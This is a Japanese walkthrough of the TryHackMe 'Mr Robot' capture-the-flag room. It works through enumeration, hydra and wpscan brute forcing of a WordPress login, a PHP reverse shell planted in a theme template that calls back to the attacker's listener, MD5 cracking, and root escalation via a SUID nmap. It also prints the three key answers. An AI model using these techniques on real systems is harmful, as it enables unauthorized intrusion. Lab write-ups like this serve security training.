【TryHackMe】Mr Robot CTF：Walkthrough

# 概要

TryHackMe「Mr Robot CTF」のWalkthroughです。

https://tryhackme.com/r/room/mrrobot

# Task2

## **Q1**.*What is key 1?*

**Hint**.*Robots*

`nmap`でポートスキャンを実行します。

```
$ nmap -sC -A -T4 -p- 10.10.165.108                   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 10:11 EDT
Nmap scan report for 10.10.165.108
Host is up (0.24s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 451.80 seconds
```

`80`,`443`ポートがオープンになっていることがわかりました。

Webサイトにアクセスするとコマンドが実行でき、それに応じてアプリケーションのアクションがありましたが、特にめぼしいものは見つかりませんでした。

![web home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1a90694b-9c65-93f2-0919-1d33691a84d0.png)

次に`dirsearch`でWebアプリケーションのディレクトリを列挙します。

```
$ dirsearch -u http://10.10.165.108
```

`robots.txt`を発見しました。

```
[10:31:11] 200 -   41B  - /robots.txt
```

ヒントからも`robots.txt`が怪しいと思い、アクセスすると`key-1-of-3.txt`という興味深いファイル名を得られました。

![robots txt.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4093964e-ac72-2284-618a-2b798d06813e.png)

アクセスすると`key1`が表示されました。

![key1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8349c82e-5507-d00f-1a66-7eb08463ea69.png)

**A**.**073403c8a58a1f80d943455fb30724b9**

## **Q2**.*What is key 2?*

**Hint**.*There's something fishy about this wordlist... Why is it so long?*

同じく`robots.txt`に`fsocity.dic`という辞書ファイルの様な記載があるのでアクセスし、ダウンロードします。
中身はワードリストぽいですね。

```
$ head fsocity.dic 
true
false
wikia
from
the
now
Wikia
extensions
scss
window
```

ヒントからこのワードリスト自体が怪しいみたいです。
ファイルサイズも中々大きいので調べると`85万`行もあります。

```
$ cat fsocity.dic | wc -l                 
858160
```

さらに調べていくと、重複するワードも含まれていることが分かりました。

```
$ cat fsocity.dic | grep -x "user" | wc -l
75
```

`sort`コマンドでソートして`uniq`コマンドで重複を削除し、ファイルに保存します。

```
$ sort fsocity.dic | uniq > wordlist.txt
```

ワードリストを`一万`行まで減らすことができました。

```
$ cat wordlist.txt | wc -l              
11451
```

また、`wordpress`関連のパスも見つけました。
ログイン画面にもアクセスできるようになっています。

```
[10:31:55] 200 -    1KB - /wp-login
[10:31:55] 200 -    1KB - /wp-login.php
[10:31:55] 200 -    1KB - /wp-login/
```

![wp login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f8a340d4-7c63-07ef-23f7-417c3bbf82ec.png)

ログインを試してみるとユーザー名が無効の旨のエラーが出ました。

![invalid user name.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d87cd33f-728e-de30-9308-0ce2d378676d.png)

先ほどの辞書ファイルでブルートフォース攻撃を試せば、ユーザー名を特定できそうです。
まず、リクエスト情報を`burp`で取得します。

![q2 burp request.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e96339f4-5a78-54d5-01d0-e9196c189252.png)

このPOSTリクエストを使用して`hydra`でブルートフォース攻撃をします。

```
$ hydra -L fsocity.dic -p test 10.10.165.108 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.165.108%2Fwp-admin%2F&testcookie=1:Invalid username" -t 30
```

:::note info
オプションを軽く解説します。

- `-L`
    - ユーザー名のワードリストを指定します
- `-p`
    - パスワードを指定します
- `http-post-form`
    - POSTリクエストに必要なパラメータなどを設定します
    - 下記フォーマットで指定します
    ```
    [リクエストパス]：[POSTパラメータ]：[失敗時のメッセージ]'
    ```
    - ユーザー名の部分には`^USER^`と指定する必要があります
    - パスワードの部分には`^PASS^`と指定する必要があります
- `-t`
    - 並列処理数を設定します。デフォルトは`16`です
:::

ユーザー名を特定できました。

```
[80][http-post-form] host: 10.10.165.108   login: Elliot   password: test
```

続けてパスワードも特定したいのでエラーメッセージを取得します。

![invalid password.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e77fc805-6bc7-6658-fde8-0fc4c6c0e97e.png)

`hydra`でパスワードを特定します。

```
$ hydra -l Elliot -P wordlist.txt 10.10.165.108 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.165.108%2Fwp-admin%2F&testcookie=1:The password you entered for the username" -t 30
```

処理が終了し、パスワードの特定に成功しました。

```
[80][http-post-form] host: 10.10.165.108   login: Elliot   password: ER28-0652
```

:::note info

ブルートフォース攻撃に`wpscan`などを使用することもできます。

```
$ wpscan --url http://10.10.165.108 -U Elliot -P wordlist.txt -t 64
```

パスワードのクラックに成功しました。

```
[!] Valid Combinations Found:
 | Username: Elliot, Password: ER28-0652
```
:::


:::note info

ディレクトリスキャンで`license.txt`を発見できます。

```
[10:30:25] 200 -  158B  - /license
[10:30:25] 200 -  158B  - /license.txt
```

実はこのページのソースコードに認証情報がbase64でエンコードれて記載されています。

![lisence.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fabb8be4-fe04-f059-e879-3a24cbe09486.png)

```
$ echo -n "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d
elliot:ER28-0652
```
:::

認証情報を入力してワードプレスにログインします。

![wp dashbord.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b3f63dba-a06c-c1f4-17b0-25dbab40e136.png)

`Appearance`->`Editor`->`404 Template`ページなどで直接phpファイルの編集ができるようになっています。
ここにPHPのリバースシェルコードを埋め込むことでマシンに侵入できそうです。

![php edit 404.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/bd1663d7-9e82-c571-33cc-50fae761c177.png)

リバースシェルコードはkaliに入っているものを使います。

```
$ ls -l /usr/share/webshells/php/php-reverse-shell.php 
-rwxr-xr-x 1 root root 5491 Nov 20  2021 /usr/share/webshells/php/php-reverse-shell.php
```

コードのIPアドレスとポート番号を編集します。

```php-reverse-shell.php 
$ip = '10.6.55.144';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
```

左下の`Update File`をクリックしPHPのコードを書き換えます。

![edit 404.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ac99ec53-e27b-af7a-bf46-188afbe5762c.png)

`netcat`でリッスンします。

```
$ netcat -lnvp 1234
```

そしして`/404.php`へアクセスするとシェルを取得できました。

```
$ netcat -lnvp 1234                
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.165.108] 51560
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 17:46:53 up  3:42,  0 users,  load average: 0.00, 0.01, 0.10
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ whoami
daemon
$ pwd
/
```

`/home/robot`配下にキーファイルを発見しましたが、読み取り権限がなく中身を閲覧できません。

```
$ ls -l /home/robot
total 8
-r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5
$ cat /home/robot/key-2-of-3.txt
cat: /home/robot/key-2-of-3.txt: Permission denied
```

代わりに`password.raw-md5`を閲覧できました。

```
$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
```

このハッシュ値は`robot`アカウントのパスワードのようです。

ハッシュ値を`hash.txt`ファイルに保存して、`John the Ripper`で解析します。

```
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

a~zの文字列をパスワードにしているようです。

```
abcdefghijklmnopqrstuvwxyz (?)
```

このまま`robot`アカウントにログインしようとしましたが、ターミナルから実行する必要があると怒られました。
`疑似端末(pty)`をリバースシェルに割り当てる必要があります。

```
$ su robot
su: must be run from a terminal
```

`python`が入っているのを確認できたのでここからシェルを実行します。

```
$ python --version
Python 2.7.6
```

```
python -c 'import pty; pty.spawn("/bin/sh")'
```

`robot`アカウントでのログインに成功しました。

```
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:/$
```

`key-2-of-3.txt`ファイルを読み込んで2つ目のキーをゲットです。

```
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
```

**A**.**822c73956184f694993bede3eb39f959**

## **Q3**.*What is key 3?*

**Hint**.*nmap*

`sudo -l`を実行し、特権ユーザーで実行できるコマンドがないか探しましたが、ダメそうです。

```
robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz

Sorry, user robot may not run sudo on linux.
```

:::note info

`sudo -l`の使い方の記事を投稿しましたので、併せてご覧ください。
[【ハッキング入門】sudo -lで権限昇格への足掛かりにする](https://qiita.com/kk0128/items/2d39ecacb0fa7a654b94)
:::

`suid`ビットが設定されたプログラムを検索します。

```
robot@linux:~$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
<rep -v -e "Permission denied" -e "No such file or directory"                
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
```

ヒントにもあるように、`nmap`が怪しいですね。
`GTFOBins`で`nmap`を利用したシェル取得を探しました。

https://gtfobins.github.io/gtfobins/nmap/

サイトを参考にコマンドを実行すると、`root`アカウントのシェルを取得できました。

```
robot@linux:~$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
#
```

:::note info

`nmap`での`--interactive`オプションはバージョン2.02～5.21でのみ使用できるようです。

また、それ以外のバージョンでは`NSE`を使用することでも権限昇格ができるようです。

[NEC: 本当は怖いsudoコマンド](https://jpn.nec.com/cybersecurity/blog/201023/index.html)

:::

最後に`/root`配下のキーファイルを読み取ってルームクリアです。

```
# ls -l
ls -l
total 4
-rw-r--r-- 1 root root  0 Nov 13  2015 firstboot_done
-r-------- 1 root root 33 Nov 13  2015 key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
```

**A**.**04787ddef27c3dee1ee161b21670b4e4**